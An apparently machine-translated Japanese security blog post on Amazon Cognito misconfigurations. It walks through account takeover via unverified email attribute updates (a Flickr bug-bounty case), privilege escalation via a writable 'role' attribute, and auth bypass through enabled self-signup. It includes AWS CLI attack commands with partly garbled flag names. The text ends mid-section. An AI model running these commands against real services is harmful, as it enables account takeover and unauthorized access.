Amazon Cognito の設定ミス

Mar 14 2023

Mohamed Lakhdar Metidji 著近年、アマゾンウェブサービス (AWS) は、クラウドで Web アプリケーションをホストしたいと考えている企業にとって人気の選択肢となっています。最も広く使用されている AWS サービスの 1 つは、ユーザー認証および ID 管理サービスである Amazon Cognito です。

モハメド・ラクダル・メティジ著

近年、アマゾンウェブサービス (AWS) は、クラウドで Web アプリケーションをホストしたいと考えている企業にとって人気の選択肢となっています。最も広く使用されている AWS サービスの 1 つは、ユーザー認証および ID 管理サービスである Amazon Cognito です。ただし、Amazon Cognito インスタンスの構成が誤っていると、ユーザーの機密データが漏洩したままになる可能性があり、データ侵害やその他のセキュリティリスクにつながる可能性があります。

初めに

Amazon コグニートとは何ですか?

Amazon Cognito は、ウェブおよびモバイルアプリケーションのユーザー認証、認可、ユーザー管理を提供する AWS のフルマネージドサービスです。これにより、開発者はユーザーのサインアップ、サインイン、アクセス制御をアプリケーションに簡単に追加できるだけでなく、Facebook、Google、Amazon などのサードパーティ ID プロバイダーと統合することもできます。Amazon Cognito は、多要素認証とデバイス間でのユーザーデータの同期もサポートしています。

どのように機能するのでしょうか?

Amazon Cognito は 2 つの主要コンポーネントで構成されています。

1. ユーザープール: このコンポーネントは、Web およびモバイルアプリケーションにユーザーのサインアップ、サインイン、および認証機能を提供します。ユーザープールを使用すると、ユーザーディレクトリの作成と維持、認証プロセスのカスタマイズ、サードパーティの ID プロバイダーとの統合が可能になります。

ユーザープール

このJWTは、 RS256 アルゴリズムを使用して署名されています。このアルゴリズムは、ペイロードの署名に使用される秘密キーと、ペイロードの有効性を確認するために使用される公開キーで構成されます。

2. ID プール:このコンポーネントを使用すると、ユーザープール、ソーシャル ID プロバイダー、またはその他のサードパーティ ID プロバイダーを通じて認証されたユーザーに、AWS リソースへの一時的かつ限定的なアクセスを許可できます。ID プールを使用すると、ユーザー ID に基づいてリソースへのアクセスを制御し、認証されたユーザーに AWS サービスへのシームレスかつ安全なアクセスを提供できます。

プールを識別する

Amazon Cognito の設定ミスとは何ですか?

Amazon Cognito の設定ミスとは、サービスの設定中に発生したエラーや見落としを指し、セキュリティ上の脆弱性が生じる可能性があります。これらの構成ミスにより、ユーザーアカウントや機密データへの不正アクセスが可能になり、データの機密性や完全性が損なわれ、組織の評判が損なわれる可能性があります。Amazon Cognito の設定ミスの例には、不適切なアクセス制御、認証の欠如、ユーザーデータのアクセス許可の設定の誤り、多要素認証の欠如などが含まれます。

この記事では、Amazon Cognito の一般的な設定ミスの例を書きます。

ゼロクリックアカウント乗っ取りの設定ミス:

検証前の電子メール属性の更新

どうやって？

Flickr は Amazon Cognito を使用してログイン機能を実装しています。

フローはidentity.flickr.comで開始されます。JavaScript を介して、エンドユーザーの認証情報が cognito-idp.us-east-1.amazonaws.com に送信され、トークンで応答します。最後に、これらのトークンはwww.flickr.com に転送されます。

Amazon Cognito ログインは、OpenID Connect のわずかに変更されたバリアントを実装します。このシングルサインオンプロトコルに精通している場合は、次の Auth がわかるでしょう。リクエストと認証。応答：

####

POST / HTTP/2
ホスト: cognito-idp.us-east-1.amazonaws.com
[…]
{
“AuthFlow”:”USER_PASSWORD_AUTH”,
“ClientId”:”3ck15************ **",
"AuthParameters":{
"USERNAME":"攻撃者@flickr.com ",
"PASSWORD":"[編集済み]",
"DEVICE_KEY":"us-east-1_070[…]"
},
"ClientMetadata" :
{
}
}

####

提供された資格情報が有効な場合、Cognito はトークンで応答します。

####

HTTP/2 200 OK
[…]
{
“AuthenticationResult”:
{
“AccessToken”:”[編集済]”,
“ExpiresIn”:3600,
“IdToken”:”[編集済]”,
“RefreshToken”:”[編集済]”,
"TokenType":"Bearer"
}、
"ChallengeParameters":
{
}
}

####

Flickr はユーザープールを使用してユーザーを整理します。AWS CLIツールで access_token を使用すると、どのアクションがトークンのスコープ内にあるかをテストできます。
API を使用すると、リンクされた電子メールアドレスなどのユーザー属性の一部を変更できます。

このコマンドを通じて:

$ aws cognito-idp update-user-attributes — リージョン us-east-1 — アクセストークン eyJraW****** — ユーザー属性 '名前=email,Value=被害者メールアドレス@email.com

アカウントの乗っ取りを完了するには、研究者は悪意のある類似電子メールアドレスと攻撃者のパスワードを使用してログインします。

完全なレポート: https://hackerone.com/reports/1342088

AWS は、この問題を軽減するために新しいセキュリティ設定を導入しました。そのため、[更新が保留中のときに元の属性値をアクティブにする] が明示的に有効になっている場合、電子メール属性は検証されるまで新しい電子メールアドレスに更新されません。

これは、2022 年 6 月以降に導入されたばかりの新しいセキュリティ構成であるため、多くのアプリケーションが依然として誤って構成されている可能性があります。

権限昇格の設定ミス:

書き込み可能なユーザー属性による権限昇格:

AWS Cognito のコンテキストでは、ユーザーが許可されている権限を超える追加のアクセス許可を付与する方法で自分の属性を変更できる場合、書き込み可能なユーザー属性による権限昇格が発生する可能性があります。

どうやって？

たとえば、管理者がユーザーを招待し、そのロールを読者として割り当て、その招待を電子メールに送信します。ユーザーが攻撃者で、そのロールを管理者に変更した場合はどうなるでしょうか。

古いサンプル「Flickr」と同じ手順で、 AWS CLIツールで access_token を使用して、どのアクションがトークンの範囲内にあるかをテストできます。
API を使用すると、ロールを含むユーザー属性の一部を変更できます。
ユーザーのメタデータが次のようになっているとします。

####

{
“ユーザー名”: “e2[…]”,
“UserAttributes”: [
{
“名前”: “sub”,
“値”: “e28[…]”
},
{
“名前”: “ロール”,
“値” : “reader”
},
{
“名前”: “email_verified”,
“値”: “true”
),
{
“名前”: “email”,
“値”: “ [email protected] ”
}
]
}

####

ユーザーは、AWS CLIツールを使用して次のコマンドを実行して、自分のロールを閲覧者から管理者に変更できます。

$ aws cognito-idp update-user-attributes — リージョン us-east-1 — アクセストークン eyJraW****** — ユーザー属性 ' Name=role,Value= admin

次のコマンドでこの単純なGetUserアクションを使用してもう一度確認してください。

$ aws cognito-idp get-user — リージョン us-east-1 — アクセストークン eyJr********

メタデータは次のようになります。

####

{
“ユーザー名”: “e2[…]”,
“UserAttributes”: [
{
“名前”: “sub”,
“値”: “e28[…]”
},
{
“名前”: “ロール”,
“値” : “admin”
},
{
“名前”: “email_verified”,
“値”: “true”
),
{
“名前”: “email”,
“値”: “ [email protected] ”
}
]
}

####

有効なサインアップ API アクションによる認証バイパス:

ユーザーのサインアップを提供せず、アカウントの管理者提供のみをサポートするアプリケーションは、サインアップ API を適切に無効にしないと脆弱になる可能性があり、攻撃者によって不正なアカウントが作成されるリスクにさらされる可能性があります。攻撃者が認証を回避して機密情報にアクセスしたり、不正なアクションを実行したりする可能性があるため、これは AWS Cognito を使用する管理者ログインポータルにとって特に危険です。

どうやって？

これには、結果として認証バイパスを可能にする AWS cognito を実装する管理者ログインポータルが含まれます。

この例では、管理者のみがログインできるため、アカウントを作成するためのサインアップはありません。

新しいユーザープールを作成する場合、デフォルトで自己登録が有効になり、ユーザーが自分でアカウントにサインアップできるようになります。

例

攻撃者が必要とするのは、自己登録に対してテストするためにクライアント ID とリージョンだけです。

攻撃者は、AWS CLIツールを使用して次のコマンドを通じて登録できます。

$ aws cognito-idp Sign-up — client-id <client-id> — ユーザー名 <email-address> — パスワード <password> — リージョン <region>

成功したサインアップは次のようになります。

###

{
“コード配信詳細リスト”:[

{
"Destination":"m***@w***",
"deliveryMedium":"EMAIL",
"AttributeName":"email"
}
]
}

###

自己登録が成功した場合、6 桁の確認コードが攻撃者の電子メールアドレスに配信されます。

ほんの一例です

攻撃者は次のコマンドでアカウントを確認できます。

$ aws cognito-idpconfirm-sign-up — client-id <client-id> — ユーザー名 <email-address> — 確認コード <confirmation-code> — リージョン <region>

認証されたユーザーを使用して一時的な AWS 認証情報を取得します。

認証されたユーザーを使用して一時的な AWS 認証情報を取得するには、AWS セキュリティトークンサービス (STS) を使用して、AWS リソースへのアクセスに必要な権限を持つ IAM ロールの一時的な認証情報を生成する必要があります。ユーザーに必要なアクセス許可があることを確認するために適切なセキュリティ対策を実装する必要があります。また、一時的な認証情報を使用して AWS リソースへのアクセスを監視および追跡するために、アクセス制御と監査ログを導入する必要があります。

AWS 認証情報を生成するには、アイデンティティプール ID を見つける必要があります。これは通常、ソースコード、バンドルされた JS ファイル、または HTTP 応答にハードコーディングされています。

● クライアント ID

● ユーザープールID

●地域

例えば：